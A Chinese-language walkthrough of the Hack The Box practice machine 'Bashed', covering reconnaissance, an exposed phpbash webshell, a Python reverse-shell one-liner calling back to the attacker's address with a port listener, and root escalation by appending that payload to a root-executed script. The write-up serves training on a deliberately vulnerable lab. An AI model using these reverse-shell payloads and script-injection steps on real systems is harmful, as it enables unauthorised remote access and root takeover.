HTB靶场系列之Bashed通关攻略

admin 2022年3月18日01:18:38评论206 views字数 2052阅读6分50秒阅读模式

本次write up内容是Hack The Box里machines的靶场Bashed。

HTB靶场系列之Bashed通关攻略

1-信息收集

首先进行端口扫描,发现开放了80端口

HTB靶场系列之Bashed通关攻略

访问WEB界面查看内容

HTB靶场系列之Bashed通关攻略

2-目录扫描

使用Dirsearch脚本对WEB进行目录遍历

HTB靶场系列之Bashed通关攻略

扫描后发现WEB存在目录遍历

HTB靶场系列之Bashed通关攻略

点击phpbash.min.php发现存在一个可执行的webshell

HTB靶场系列之Bashed通关攻略

3-反弹shell

可以将这个shell转发到我们的kali上进行操作

在靶机上执行以下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.2",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


【python命令解析】

import socket,subprocess,os  #导入python socket、subprocess、os库s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  #使用socket函数创建一个套接字,AF_INET表示是一个IPv4的套接字,SOCK_STREAM表示使用TCP流式sockets.settimeout(10)#控制时延,防止因为国内访问国外过高的延时导致tcp不能建立连接s.connect(("10.10.14.2",4444))  #连接到10.10.14.2:4444处的套接字os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)#os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。#而fileno()函数就是返回一个文件的文件描述符#在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin1表示标准输出stdout2表示标准错误输出stderr#所以上面的函数作用就是把stdin,stdout,stderr的内容替换为套接字返回的内容,所以在本机nc监听就会创建一个套接字进程,使得在本地输入的内容就直接作为宿主机的stdinstdout的内容也会在本地显示import pty;pty.spawn("/bin/bash")# pty 模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。当我们远程到主机时需要一个终端进行交互,pty用于生成提供交互的虚拟终端。



在攻击机kali上监听端口

nc -vlnp 4444


成功连接获取到权限

HTB靶场系列之Bashed通关攻略

查看当前用户权限为www-data

拿到第一个FLAG

HTB靶场系列之Bashed通关攻略

4-权限提升

输入 sudo -l 查看授权的进程

发现一个可以无需密码登录的账号scriptmanager

HTB靶场系列之Bashed通关攻略

尝试登录该账号

sudo -u scriptmanager /bin/bash

HTB靶场系列之Bashed通关攻略

进入到scripts目录下查看文件内容

发现有test.txt和test.py两个文件

查看test.py的源码内容,是一段python文件的打开,关闭,读写的代码

f=open("test.txt","w") f.write("testing 123!") f.close

#open函数打开text.txt文件,若该文件不存在则创建一个text.txt的文件,w表示写入

# write()函数用于向文件中写入指定字符串

# f.close当打开文件进行所有想要的操作后,必须要进行关闭文件,占内存。

HTB靶场系列之Bashed通关攻略

通过查看文件的权限发现,scriptmanager用户拥有test.py文件,test.txt文件会以root权限执行

提权的思路为,将反弹shell的命令写入到test.py文件中,让txt文件转发出具有root权限的shell

HTB靶场系列之Bashed通关攻略

进行提权,和第一次转发shell操作一样,再转发一次,输入以下命令,端口号改为5555

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket. SOCK_STREAM);s.settimeout(10);s.connect(("10.10.14.2",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' >> /scripts/test.py

HTB靶场系列之Bashed通关攻略

同时kali监听5555端口

成功获取到root权限

直接查看root目录下的root.txt文件

获取到最终FLAG

HTB靶场系列之Bashed通关攻略

成功提交

HTB靶场系列之Bashed通关攻略

原文始发于微信公众号(Matrix1024):HTB靶场系列之Bashed通关攻略

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月18日01:18:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶场系列之Bashed通关攻略http://cn-sec.com/archives/831190.html

发表评论

匿名网友 填写信息